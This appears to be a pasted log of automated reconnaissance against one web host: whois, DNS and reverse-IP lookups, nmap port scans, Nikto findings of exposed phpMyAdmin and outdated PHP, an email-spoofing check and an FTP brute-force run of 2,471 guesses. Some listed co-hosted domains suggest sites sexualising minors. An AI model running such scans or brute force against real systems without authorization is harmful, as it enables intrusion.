Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ######################################################################################################################################
- ======================================================================================================================================
- Hostname www.liliana.artmodeling-studios.org ISP IP Volume inc
- Continent Europe Flag
- NL
- Country Netherlands Country Code NL
- Region Unknown Local time 03 Apr 2019 01:35 CEST
- City Unknown Postal Code Unknown
- IP Address 80.82.64.193 Latitude 52.382
- Longitude 4.9
- ======================================================================================================================================
- ######################################################################################################################################
- > liliana.artmodeling-studios.org
- Server: 185.93.180.131
- Address: 185.93.180.131#53
- Non-authoritative answer:
- Name: liliana.artmodeling-studios.org
- Address: 80.82.64.193
- >
- #######################################################################################################################################
- HostIP:80.82.64.193
- HostName:www.liliana.artmodeling-studios.org
- Gathered Inet-whois information for 80.82.64.193
- ---------------------------------------------------------------------------------------------------------------------------------------
- inetnum: 80.82.64.0 - 80.82.64.255
- netname: NET-1-64
- descr: IPV NETBLOCK
- country: NL
- geoloc: 52.370216 4.895168
- org: ORG-IVI1-RIPE
- admin-c: IVI24-RIPE
- tech-c: IVI24-RIPE
- status: ASSIGNED PA
- mnt-by: IPV
- mnt-lower: IPV
- mnt-routes: IPV
- created: 2010-09-19T16:51:12Z
- last-modified: 2019-02-01T18:24:55Z
- source: RIPE
- organisation: ORG-IVI1-RIPE
- org-name: IP Volume inc
- org-type: OTHER
- address: Suite 9
- address: Victoria, Mahe
- address: Seychelles
- abuse-c: IVNO1-RIPE
- mnt-ref: IPV
- mnt-by: IPV
- created: 2018-05-14T11:46:50Z
- last-modified: 2019-01-31T14:39:36Z
- source: RIPE # Filtered
- role: IPV
- address: Suite 9
- address: Victoria, Mahe
- address: Seychelles
- nic-hdl: IVI24-RIPE
- mnt-by: IPV
- created: 2018-05-16T13:28:41Z
- last-modified: 2019-01-31T21:21:20Z
- source: RIPE # Filtered
- % Information related to '80.82.64.0/24AS202425'
- route: 80.82.64.0/24
- origin: AS202425
- remarks: +-----------------------------------------------
- remarks: | For abuse e-mail [email protected]
- remarks: | We do not always reply to abuse.
- remarks: | But we do take care your report is dealt with!
- remarks: +-----------------------------------------------
- mnt-by: IPV
- created: 2019-01-24T15:07:49Z
- last-modified: 2019-02-01T12:32:15Z
- source: RIPE
- % This query was served by the RIPE Database Query Service version 1.93.2 (BLAARKOP)
- Gathered Inic-whois information for liliana.artmodeling-studios.org
- ---------------------------------------------------------------------------------------------------------------------------------------
- ERROR: Unable to locate Name Whois data on liliana.artmodeling-studios.org
- Gathered Netcraft information for www.liliana.artmodeling-studios.org
- ---------------------------------------------------------------------------------------------------------------------------------------
- Retrieving Netcraft.com information for www.liliana.artmodeling-studios.org
- Netcraft.com Information gathered
- Gathered Subdomain information for liliana.artmodeling-studios.org
- ---------------------------------------------------------------------------------------------------------------------------------------
- Searching Google.com:80...
- Searching Altavista.com:80...
- Found 0 possible subdomain(s) for host liliana.artmodeling-studios.org, Searched 0 pages containing 0 results
- Gathered E-Mail information for liliana.artmodeling-studios.org
- ---------------------------------------------------------------------------------------------------------------------------------------
- Searching Google.com:80...
- Searching Altavista.com:80...
- Found 0 E-Mail(s) for host liliana.artmodeling-studios.org, Searched 0 pages containing 0 results
- Gathered TCP Port information for 80.82.64.193
- ---------------------------------------------------------------------------------------------------------------------------------------
- Port State
- 21/tcp open
- 22/tcp open
- 53/tcp open
- 80/tcp open
- 110/tcp open
- 111/tcp open
- 143/tcp open
- Portscan Finished: Scanned 150 ports, 142 ports were in state closed
- #######################################################################################################################################
- [i] Scanning Site: http://www.liliana.artmodeling-studios.org
- B A S I C I N F O
- =======================================================================================================================================
- [+] Site Title: Liliana MODEL - Welcome!
- [+] IP address: 80.82.64.193
- [+] Web Server: Could Not Detect
- [+] CMS: Could Not Detect
- [+] Cloudflare: Not Detected
- [+] Robots File: Could NOT Find robots.txt!
- G E O I P L O O K U P
- =======================================================================================================================================
- [i] IP Address: 80.82.64.193
- [i] Country: Netherlands
- [i] State:
- [i] City:
- [i] Latitude: 52.3824
- [i] Longitude: 4.8995
- H T T P H E A D E R S
- =======================================================================================================================================
- [i] HTTP/1.1 200 OK
- [i] Date: Tue, 02 Apr 2019 23:45:54 GMT
- [i] Last-Modified: Tue, 18 Feb 2014 21:04:10 GMT
- [i] ETag: "f54-4f2b49d10c680-gzip"
- [i] Accept-Ranges: bytes
- [i] Vary: Accept-Encoding,User-Agent
- [i] Content-Type: text/html
- [i] Connection: close
- S U B N E T C A L C U L A T I O N
- =======================================================================================================================================
- Address = 80.82.64.193
- Network = 80.82.64.193 / 32
- Netmask = 255.255.255.255
- Broadcast = not needed on Point-to-Point links
- Wildcard Mask = 0.0.0.0
- Hosts Bits = 0
- Max. Hosts = 1 (2^0 - 0)
- Host Range = { 80.82.64.193 - 80.82.64.193 }
- N M A P P O R T S C A N
- ======================================================================================================================================
- Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-02 23:45 UTC
- Nmap scan report for liliana.artmodeling-studios.org (80.82.64.193)
- Host is up (0.087s latency).
- rDNS record for 80.82.64.193: no-reverse-dns-configured.com
- PORT STATE SERVICE
- 21/tcp open ftp
- 22/tcp open ssh
- 23/tcp closed telnet
- 80/tcp open http
- 110/tcp open pop3
- 143/tcp open imap
- 443/tcp open https
- 3389/tcp closed ms-wbt-server
- Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds
- #######################################################################################################################################
- [?] Enter the target: example( http://domain.com )
- http://www.liliana.artmodeling-studios.org/
- [!] IP Address : 80.82.64.193
- [!] www.liliana.artmodeling-studios.org doesn't seem to use a CMS
- [+] Honeypot Probabilty: 30%
- ---------------------------------------------------------------------------------------------------------------------------------------
- [~] Trying to gather whois information for www.liliana.artmodeling-studios.org
- [+] Whois information found
- [-] Unable to build response, visit https://who.is/whois/www.liliana.artmodeling-studios.org
- ---------------------------------------------------------------------------------------------------------------------------------------
- PORT STATE SERVICE
- 21/tcp open ftp
- 22/tcp open ssh
- 23/tcp closed telnet
- 80/tcp open http
- 110/tcp open pop3
- 143/tcp open imap
- 443/tcp open https
- 3389/tcp closed ms-wbt-server
- Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds
- ---------------------------------------------------------------------------------------------------------------------------------------
- There was an error getting results
- [-] DNS Records
- [>] Initiating 3 intel modules
- [>] Loading Alpha module (1/3)
- [>] Beta module deployed (2/3)
- [>] Gamma module initiated (3/3)
- No emails found
- No hosts found
- [+] Virtual hosts:
- ---------------------------------------------------------------------------------------------------------------------------------------
- #######################################################################################################################################
- Enter Address Website = 80.82.64.193
- Reversing IP With HackTarget '80.82.64.193'
- ---------------------------------------------------------------------------------------------------------------------------------------
- [+] artmodeling-studios.org
- [+] artpicsgirls.xyz
- [+] crazydolly.site
- [+] little-modelz.pw
- [+] mail.artpicsgirls.xyz
- [+] mail.candydollchan.net
- [+] mail.crazydolly.site
- [+] mail.miniteens.site
- [+] mail.nnbook.net
- [+] mail.nnclub.net
- [+] mail.sharechann.net
- [+] mail.sitesallngirls.xyz
- [+] mail.yoyogirl.site
- [+] mail.1000models.net
- [+] mail.artmodeling-studios.org
- [+] miniteens.site
- [+] mta-sts.mail.nnbook.net
- [+] nnbook.net
- [+] sitesallngirls.xyz
- [+] www.miniteens.site
- [+] www.sitesallngirls.xyz
- [+] yoyogirl.site
- #######################################################################################################################################
- Reverse IP With YouGetSignal '80.82.64.193'
- ---------------------------------------------------------------------------------------------------------------------------------------
- [*] IP: 80.82.64.193
- [*] Domain: 80.82.64.193
- [*] Total Domains: 13
- [+] 1000models.net
- [+] googlenonnude.com
- [+] little-preteen.com
- [+] nonude.click
- [+] nonude.in
- [+] pix.googlenonnude.com
- [+] team.googlenonnude.com
- [+] www.airmaxskobutikker.com
- [+] www.chaussurefootsalle.org
- [+] www.cutegirls.pro
- [+] www.nnclub.org
- [+] www.zapatillasrunningreebok.com
- [+] zone.googlenonnude.com
- #######################################################################################################################################
- Geo IP Lookup '80.82.64.193'
- ---------------------------------------------------------------------------------------------------------------------------------------
- [+] IP Address: 80.82.64.193
- [+] Country: Netherlands
- [+] State:
- [+] City:
- [+] Latitude: 52.3824
- [+] Longitude: 4.8995
- #######################################################################################################################################
- Show HTTP Header '80.82.64.193'
- ---------------------------------------------------------------------------------------------------------------------------------------
- [+] HTTP/1.1 404 Not Found
- [+] Date: Tue, 02 Apr 2019 23:45:48 GMT
- [+] Server: Apache/2
- [+] Content-Type: text/html; charset=iso-8859-1
- #######################################################################################################################################
- Port Scan '80.82.64.193'
- ---------------------------------------------------------------------------------------------------------------------------------------
- Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-02 23:45 UTC
- Nmap scan report for no-reverse-dns-configured.com (80.82.64.193)
- Host is up (0.085s latency).
- PORT STATE SERVICE
- 21/tcp open ftp
- 22/tcp open ssh
- 23/tcp closed telnet
- 80/tcp open http
- 110/tcp open pop3
- 143/tcp open imap
- 443/tcp open https
- 3389/tcp closed ms-wbt-server
- Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds
- #######################################################################################################################################
- Traceroute '80.82.64.193'
- ---------------------------------------------------------------------------------------------------------------------------------------
- Start: 2019-04-02T23:45:52+0000
- HOST: web01 Loss% Snt Last Avg Best Wrst StDev
- 1.|-- 45.79.12.202 0.0% 3 0.8 2.0 0.8 4.2 1.8
- 2.|-- 45.79.12.6 0.0% 3 0.6 1.4 0.6 2.2 0.8
- 3.|-- dls-b22-link.telia.net 0.0% 3 1.0 7.8 1.0 19.9 10.5
- 4.|-- dls-b21-link.telia.net 0.0% 3 1.8 2.5 1.8 3.2 0.7
- 5.|-- dls-b23-link.telia.net 0.0% 3 1.7 1.7 1.6 1.8 0.1
- 6.|-- lag-14.ear5.Dallas1.Level3.net 33.3% 3 1.7 1.7 1.7 1.7 0.0
- 7.|-- ae-2-3207.edge6.Amsterdam1.Level3.net 0.0% 3 111.8 111.8 111.6 112.0 0.2
- 8.|-- unknown.Level3.net 0.0% 3 111.9 112.0 111.9 112.0 0.0
- 9.|-- no-reverse-dns-configured.com 0.0% 3 121.9 121.7 121.5 121.9 0.2
- #######################################################################################################################################
- Ping '80.82.64.193'
- ---------------------------------------------------------------------------------------------------------------------------------------
- Starting Nping 0.7.70 ( https://nmap.org/nping ) at 2019-04-02 23:46 UTC
- SENT (0.0033s) ICMP [104.237.144.6 > 80.82.64.193 Echo request (type=8/code=0) id=39624 seq=1] IP [ttl=64 id=13444 iplen=28 ]
- RCVD (0.2035s) ICMP [80.82.64.193 > 104.237.144.6 Echo reply (type=0/code=0) id=39624 seq=1] IP [ttl=55 id=22110 iplen=28 ]
- SENT (1.0038s) ICMP [104.237.144.6 > 80.82.64.193 Echo request (type=8/code=0) id=39624 seq=3] IP [ttl=64 id=13444 iplen=28 ]
- RCVD (1.2234s) ICMP [80.82.64.193 > 104.237.144.6 Echo reply (type=0/code=0) id=39624 seq=3] IP [ttl=55 id=23078 iplen=28 ]
- SENT (2.0055s) ICMP [104.237.144.6 > 80.82.64.193 Echo request (type=8/code=0) id=39624 seq=3] IP [ttl=64 id=13444 iplen=28 ]
- RCVD (2.2434s) ICMP [80.82.64.193 > 104.237.144.6 Echo reply (type=0/code=0) id=39624 seq=3] IP [ttl=55 id=23231 iplen=28 ]
- SENT (3.0073s) ICMP [104.237.144.6 > 80.82.64.193 Echo request (type=8/code=0) id=39624 seq=4] IP [ttl=64 id=13444 iplen=28 ]
- RCVD (3.2635s) ICMP [80.82.64.193 > 104.237.144.6 Echo reply (type=0/code=0) id=39624 seq=4] IP [ttl=55 id=24116 iplen=28 ]
- Max rtt: 256.031ms | Min rtt: 200.002ms | Avg rtt: 228.377ms
- Raw packets sent: 4 (112B) | Rcvd: 4 (184B) | Lost: 0 (0.00%)
- Nping done: 1 IP address pinged in 3.26 seconds
- #######################################################################################################################################
- =======================================================================================================================================
- | External hosts:
- | [+] External Host Found: http://httpd.apache.org
- | [+] External Host Found: http://liliana-mod.com
- | [+] External Host Found: http://alwaysfreemodel.com
- | [+] External Host Found: http://euro-fantasy.net
- | [+] External Host Found: http://moppetdollz.com
- =======================================================================================================================================
- | E-mails:
- | [+] E-mail Found: [email protected]
- | [+] E-mail Found: [email protected]
- | [+] E-mail Found: [email protected]
- | [+] E-mail Found: [email protected]
- =======================================================================================================================================
- #######################################################################################################################################
- ; <<>> DiG 9.11.5-P4-1-Debian <<>> liliana.artmodeling-studios.org
- ;; global options: +cmd
- ;; Got answer:
- ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44585
- ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
- ;; OPT PSEUDOSECTION:
- ; EDNS: version: 0, flags:; udp: 4096
- ;; QUESTION SECTION:
- ;liliana.artmodeling-studios.org. IN A
- ;; ANSWER SECTION:
- liliana.artmodeling-studios.org. 11936 IN A 80.82.64.193
- ;; Query time: 109 msec
- ;; SERVER: 185.93.180.131#53(185.93.180.131)
- ;; WHEN: mar avr 02 20:20:29 EDT 2019
- ;; MSG SIZE rcvd: 76
- #######################################################################################################################################
- ; <<>> DiG 9.11.5-P4-1-Debian <<>> +trace liliana.artmodeling-studios.org
- ;; global options: +cmd
- . 83652 IN NS b.root-servers.net.
- . 83652 IN NS c.root-servers.net.
- . 83652 IN NS j.root-servers.net.
- . 83652 IN NS m.root-servers.net.
- . 83652 IN NS f.root-servers.net.
- . 83652 IN NS k.root-servers.net.
- . 83652 IN NS d.root-servers.net.
- . 83652 IN NS l.root-servers.net.
- . 83652 IN NS a.root-servers.net.
- . 83652 IN NS g.root-servers.net.
- . 83652 IN NS i.root-servers.net.
- . 83652 IN NS h.root-servers.net.
- . 83652 IN NS e.root-servers.net.
- . 83652 IN RRSIG NS 8 0 518400 20190415170000 20190402160000 25266 . nt86RGjwxRtAX0Cm0ziGMAokfLu76LH7DXChbcbVNXEoh6N/1H4oZOJH kxyZIaj6azthF1uo/wBrUTKUBqJqM5AkK6tzw1PZa/olKN+sv5DW+bmo jpc0ytHNI9HdlGaUSMgpJqN+pTG9xlB53sQ+nxagd5SGUpwKJ9lZwfzq Hue4U892sxve3QkAx+riHKH88tfc2fG55ybRacyqj75AwTNzPC8IUU0/ 5/XLWvZFG18rUhvuKHNPX/k3rzc8kU+UCTSZYx7EtnydUW116zktSy05 5g3PNm4ro/UbESLA1zROOMvYe2xYZrBjE3ffWR8ocags6KTssyn8JFc5 Wocl4w==
- ;; Received 525 bytes from 185.93.180.131#53(185.93.180.131) in 112 ms
- org. 172800 IN NS c0.org.afilias-nst.info.
- org. 172800 IN NS d0.org.afilias-nst.org.
- org. 172800 IN NS b2.org.afilias-nst.org.
- org. 172800 IN NS a2.org.afilias-nst.info.
- org. 172800 IN NS b0.org.afilias-nst.org.
- org. 172800 IN NS a0.org.afilias-nst.info.
- org. 86400 IN DS 9795 7 1 364DFAB3DAF254CAB477B5675B10766DDAA24982
- org. 86400 IN DS 9795 7 2 3922B31B6F3A4EA92B19EB7B52120F031FD8E05FF0B03BAFCF9F891B FE7FF8E5
- org. 86400 IN RRSIG DS 8 1 86400 20190415170000 20190402160000 25266 . Nn6Kvpr+ULOqGosgwug20z5Mxt56X+mNgY4jbryeqB5uw9ynwJ8/pPfk n6zw5NGA6EQ4i2kbBk11LFgP/xHPxRtvm6DnwS1kJfeNdwzE8QE1WKEQ PZRVajsKY+3Vtakfh35oZGzFN2Agr8jSIfaGw63KZCJG+HwqqJPXny+C WkbKGN1fa8UBOf5hx9yv+d6bqiKoTFB+1HQq5dDXTtKbzYvd3JrC23/S wjPMjLA0yUQXP7hGzpEXtevkuMma/n8rF2GD5zj7WQ+t2cveDCPZ6tgI 9HXhN2YsBk6D/+wzCi4f69NKi43PUofNvJ/M6NOUDBUDSgokmPsnHzqQ C1dPxA==
- ;; Received 833 bytes from 2001:7fe::53#53(i.root-servers.net) in 44 ms
- artmodeling-studios.org. 86400 IN NS ns1.webnamesonline.com.
- artmodeling-studios.org. 86400 IN NS ns2.webnamesonline.com.
- h9p7u7tr2u91d0v0ljs9l1gidnp90u3h.org. 86400 IN NSEC3 1 1 1 D399EAAB H9PARR669T6U8O1GSG9E1LMITK4DEM0T NS SOA RRSIG DNSKEY NSEC3PARAM
- h9p7u7tr2u91d0v0ljs9l1gidnp90u3h.org. 86400 IN RRSIG NSEC3 7 2 86400 20190424002020 20190402232020 9062 org. IqvxJVbW2YBtaP+SAxxT+VzwDaONQ0Yp5HPox2JdxgcWPCPYzJnNLndF HOp482WupObUV1fQVM6DBcR/qO+0c4hAO3sBzSpplTT9lLyd5y0N3djv 2jwShY06e95EuB0IkF1dFtnQMpFm1kP1EYcP3xHPjftVVujssIGoR2zF 4wk=
- 0phoi1m0t5ip0e02381ujkap8gmcjij8.org. 86400 IN NSEC3 1 1 1 D399EAAB 0PHVGHP7K5IQ1BEJK1BGK4QI2FE4L78D NS DS RRSIG
- 0phoi1m0t5ip0e02381ujkap8gmcjij8.org. 86400 IN RRSIG NSEC3 7 2 86400 20190422152832 20190401142832 9062 org. UqNfJRtszEmr8iO7HGtKDUPEFTYy/X1MM9+Ihc4NbraKMdRe9YvGV+3u D7GnYqLlOge0fjQeGEb+fDA0o9qibFNYe9oWe6ju876uMTu/SGxhSYxu V/gtSmXVMHlBd7rJFsW4834VnZ0b4n+UjnP2v1EpLp9/aIsMcC0YrUPp mLs=
- ;; Received 607 bytes from 2001:500:f::1#53(d0.org.afilias-nst.org) in 104 ms
- liliana.artmodeling-studios.org. 14400 IN A 80.82.64.193
- artmodeling-studios.org. 14400 IN NS ns1.webnamesonline.com.
- artmodeling-studios.org. 14400 IN NS ns2.webnamesonline.com.
- ;; Received 130 bytes from 80.82.64.110#53(ns1.webnamesonline.com) in 116 ms
- #######################################################################################################################################
- [*] Performing General Enumeration of Domain: liliana.artmodeling-studios.org
- [-] DNSSEC is not configured for liliana.artmodeling-studios.org
- [*] SOA ns1.webnamesonline.com 80.82.64.110
- [-] Could not Resolve NS Records for liliana.artmodeling-studios.org
- [-] Could not Resolve MX Records for liliana.artmodeling-studios.org
- [*] A liliana.artmodeling-studios.org 80.82.64.193
- [*] Enumerating SRV Records
- [-] No SRV Records Found for liliana.artmodeling-studios.org
- [+] 0 Records Found
- #######################################################################################################################################
- [*] Processing domain liliana.artmodeling-studios.org
- [*] Using system resolvers ['185.93.180.131', '194.187.251.67', '38.132.106.139', '192.168.0.1', '2001:18c0:121:6900:724f:b8ff:fefd:5b6a']
- [+] Getting nameservers
- [-] Getting nameservers failed
- [-] Zone transfer failed
- [*] Scanning liliana.artmodeling-studios.org for A records
- 80.82.64.193 - liliana.artmodeling-studios.org
- cloudflare-resolve-to.liliana.artmodeling-studios.org enterpriseenrollment.liliana.artmodeling-studios.org enterpriseregistration.liliana.artmodeling-studios.org 80.82.64.193 - www.liliana.artmodeling-studios.org
- #######################################################################################################################################
- [+] Testing domain
- www.liliana.artmodeling-studios.org 80.82.64.193
- [+] Dns resolving
- Domain name Ip address Name server
- liliana.artmodeling-studios.org 80.82.64.193 no-reverse-dns-configured.com
- Found 1 host(s) for liliana.artmodeling-studios.org
- [+] Testing wildcard
- Ok, no wildcard found.
- [+] Scanning for subdomain on liliana.artmodeling-studios.org
- [!] Wordlist not specified. I scannig with my internal wordlist...
- Estimated time about 154.44 seconds
- Subdomain Ip address Name server
- www.liliana.artmodeling-studios.org 80.82.64.193 no-reverse-dns-configured.com
- #######################################################################################################################################
- ---------------------------------------------------------------------------------------------------------------------------------------
- + Target IP: 80.82.64.193
- + Target Hostname: www.liliana.artmodeling-studios.org
- + Target Port: 80
- + Start Time: 2019-04-02 20:08:15 (GMT-4)
- ---------------------------------------------------------------------------------------------------------------------------------------
- + Server: No banner retrieved
- + Server may leak inodes via ETags, header found with file /, inode: f54, size: 4f2b49d10c680, mtime: gzip
- + The anti-clickjacking X-Frame-Options header is not present.
- + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
- + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
- + Server banner has changed from '' to 'Apache/2' which may suggest a WAF, load balancer or proxy is in place
- + Uncommon header 'x-squid-error' found, with contents: ERR_INVALID_URL 0
- + Retrieved x-powered-by header: PHP/5.4.45
- + Uncommon header 'x-dns-prefetch-control' found, with contents: off
- + /config.php: PHP Config file may contain database IDs and passwords.
- + Uncommon header 'x-ob_mode' found, with contents: 1
- + OSVDB-3092: /phpMyAdmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
- + OSVDB-3092: /phpmyadmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
- + OSVDB-3092: /pma/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
- + OSVDB-3268: /icons/: Directory indexing found.
- + OSVDB-3233: /icons/README: Apache default file found.
- + OSVDB-3092: /phpMyAdmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
- + OSVDB-3092: /phpmyadmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
- + OSVDB-3092: /pma/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
- + 26726 requests: 0 error(s) and 17 item(s) reported on remote host
- + End Time: 2019-04-02 21:04:32 (GMT-4) (3377 seconds)
- ---------------------------------------------------------------------------------------------------------------------------------------
- #######################################################################################################################################
- ---------------------------------------------------------------------------------------------------------------------------------------
- + Target IP: 80.82.64.193
- + Target Hostname: 80.82.64.193
- + Target Port: 443
- ---------------------------------------------------------------------------------------------------------------------------------------
- + SSL Info: Subject: /C=US/ST=Someprovince/L=Sometown/O=none/OU=none/CN=localhost/emailAddress=webmaster@localhost
- Ciphers: ECDHE-RSA-AES128-GCM-SHA256
- Issuer: /C=US/ST=Someprovince/L=Sometown/O=none/OU=none/CN=localhost/emailAddress=webmaster@localhost
- + Start Time: 2019-04-02 20:24:31 (GMT-4)
- --------------------------------------------------------------------------------------------------------------------------------------
- + Server: Apache/2
- + The anti-clickjacking X-Frame-Options header is not present.
- + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
- + The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
- + The site uses SSL and Expect-CT header is not present.
- + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
- + No CGI Directories found (use '-C all' to force check all possible dirs)
- + Hostname '80.82.64.193' does not match certificate's names: localhost
- + Apache/2 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
- + Retrieved x-powered-by header: PHP/5.4.45
- + Uncommon header 'x-dns-prefetch-control' found, with contents: off
- + Uncommon header 'x-ob_mode' found, with contents: 1
- + OSVDB-3092: /phpMyAdmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
- + OSVDB-3092: /phpmyadmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
- + OSVDB-3092: /pma/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
- + OSVDB-3268: /icons/: Directory indexing found.
- + OSVDB-3233: /icons/README: Apache default file found.
- + OSVDB-3092: /phpMyAdmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
- + OSVDB-3092: /phpmyadmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
- + OSVDB-3092: /pma/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
- + 8066 requests: 0 error(s) and 18 item(s) reported on remote host
- + End Time: 2019-04-02 21:31:34 (GMT-4) (4023 seconds)
- ---------------------------------------------------------------------------------------------------------------------------------------
- #######################################################################################################################################
- dnsenum VERSION:1.2.4
- ----- www.liliana.artmodeling-studios.org -----
- Host's addresses:
- __________________
- www.liliana.artmodeling-studios.org. 14400 IN A 80.82.64.193
- Name Servers:
- ______________
- #######################################################################################################################################
- ===============================================
- -=Subfinder v1.1.3 github.com/subfinder/subfinder
- ===============================================
- Running Source: Ask
- Running Source: Archive.is
- Running Source: Baidu
- Running Source: Bing
- Running Source: CertDB
- Running Source: CertificateTransparency
- Running Source: Certspotter
- Running Source: Commoncrawl
- Running Source: Crt.sh
- Running Source: Dnsdb
- Running Source: DNSDumpster
- Running Source: DNSTable
- Running Source: Dogpile
- Running Source: Exalead
- Running Source: Findsubdomains
- Running Source: Googleter
- Running Source: Hackertarget
- Running Source: Ipv4Info
- Running Source: PTRArchive
- Running Source: Sitedossier
- Running Source: Threatcrowd
- Running Source: ThreatMiner
- Running Source: WaybackArchive
- Running Source: Yahoo
- Running enumeration on www.liliana.artmodeling-studios.org
- dnsdb: Unexpected return status 503
- ipv4info: <nil>
- dogpile: Get https://www.dogpile.com/search/web?q=www.liliana.artmodeling-studios.org&qsi=1: EOF
- waybackarchive: parse http://web.archive.org/cdx/search/cdx?url=*.www.liliana.artmodeling-studios.org/*&output=json&fl=original&collapse=urlkey&page=: net/url: invalid control character in URL
- Starting Bruteforcing of www.liliana.artmodeling-studios.org with 9985 words
- Total 1 Unique subdomains found for www.liliana.artmodeling-studios.org
- .www.liliana.artmodeling-studios.org
- #######################################################################################################################################
- [*] Processing domain www.liliana.artmodeling-studios.org
- [*] Using system resolvers ['38.132.106.139', '194.187.251.67', '185.93.180.131', '192.168.0.1', '2001:18c0:121:6900:724f:b8ff:fefd:5b6a']
- [+] Getting nameservers
- [-] Getting nameservers failed
- [-] Zone transfer failed
- [*] Scanning www.liliana.artmodeling-studios.org for A records
- 80.82.64.193 - www.liliana.artmodeling-studios.org
- #######################################################################################################################################
- [+] www.liliana.artmodeling-studios.org has no SPF record!
- [*] No DMARC record found. Looking for organizational record
- [+] No organizational DMARC record
- [+] Spoofing possible for www.liliana.artmodeling-studios.org!
- #######################################################################################################################################
- Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-02 23:26 EDT
- Nmap scan report for www.liliana.artmodeling-studios.org (80.82.64.193)
- Host is up (0.14s latency).
- rDNS record for 80.82.64.193: no-reverse-dns-configured.com
- Not shown: 462 closed ports
- PORT STATE SERVICE
- 21/tcp open ftp
- 22/tcp open ssh
- 53/tcp open domain
- 80/tcp open http
- 110/tcp open pop3
- 111/tcp open rpcbind
- 143/tcp open imap
- 443/tcp open https
- 465/tcp open smtps
- 587/tcp open submission
- 993/tcp open imaps
- 995/tcp open pop3s
- 2222/tcp open EtherNetIP-1
- 3306/tcp open mysql
- #######################################################################################################################################
- Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-02 23:26 EDT
- Nmap scan report for www.liliana.artmodeling-studios.org (80.82.64.193)
- Host is up (0.10s latency).
- rDNS record for 80.82.64.193: no-reverse-dns-configured.com
- Not shown: 10 closed ports, 2 filtered ports
- PORT STATE SERVICE
- 53/udp open domain
- 67/udp open|filtered dhcps
- #######################################################################################################################################
- Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-02 23:26 EDT
- Nmap scan report for www.liliana.artmodeling-studios.org (80.82.64.193)
- Host is up (0.12s latency).
- rDNS record for 80.82.64.193: no-reverse-dns-configured.com
- PORT STATE SERVICE VERSION
- 21/tcp open ftp Pure-FTPd
- | ftp-brute:
- | Accounts: No valid accounts found
- |_ Statistics: Performed 2471 guesses in 185 seconds, average tps: 13.0
- Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
- Aggressive OS guesses: Linux 3.10 - 4.11 (95%), Linux 3.18 (95%), Linux 3.2 - 4.9 (95%), Linux 3.16 (95%), ASUS RT-N56U WAP (Linux 3.4) (94%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), HP P2000 G3 NAS device (93%), Oracle VM Server 3.4.2 (Linux 4.1) (92%)
- No exact OS matches for host (test conditions non-ideal).
- Network Distance: 16 hops
- TRACEROUTE (using port 21/tcp)
- HOP RTT ADDRESS
- 1 20.22 ms 10.247.200.1
- 2 20.55 ms vlan102.as02.qc1.ca.m247.com (176.113.74.17)
- 3 22.26 ms irb-0.agg1.qc1.ca.m247.com (37.120.128.168)
- 4 20.68 ms te-1-5-2-0.bb1.fra2.de.m247.com (82.102.29.44)
- 5 20.67 ms ix-xe-11-1-1-0.tcore1.w6c-montreal.as6453.net (66.198.96.98)
- 6 118.08 ms if-ae-12-2.tcore1.mtt-montreal.as6453.net (64.86.31.26)
- 7 120.61 ms if-ae-0-2.tcore2.mtt-montreal.as6453.net (216.6.115.90)
- 8 110.78 ms if-ae-5-2.tcore2.n0v-new-york.as6453.net (64.86.226.58)
- 9 119.21 ms if-ae-4-2.tcore2.l78-london.as6453.net (80.231.131.157)
- 10 111.98 ms if-ae-14-2.tcore2.av2-amsterdam.as6453.net (80.231.131.161)
- 11 110.82 ms if-ae-2-2.tcore1.av2-amsterdam.as6453.net (195.219.194.5)
- 12 120.66 ms if-ae-9-2.tcore1.fr0-frankfurt.as6453.net (5.23.30.17)
- 13 110.62 ms if-ae-7-2.tcore1.fr0-frankfurt.as6453.net (195.219.50.1)
- 14 110.60 ms 195.219.50.38
- 15 ...
- 16 127.38 ms no-reverse-dns-configured.com (80.82.64.193)
- #######################################################################################################################################
- # general
- (gen) banner: SSH-2.0-OpenSSH_7.4
- (gen) software: OpenSSH 7.4
- (gen) compatibility: OpenSSH 7.3+ (some functionality from 6.6), Dropbear SSH 2016.73+ (some functionality from 0.52)
- (gen) compression: enabled ([email protected])
- # key exchange algorithms
- (kex) curve25519-sha256 -- [warn] unknown algorithm
- (kex) [email protected] -- [info] available since OpenSSH 6.5, Dropbear SSH 2013.62
- (kex) ecdh-sha2-nistp256 -- [fail] using weak elliptic curves
- `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
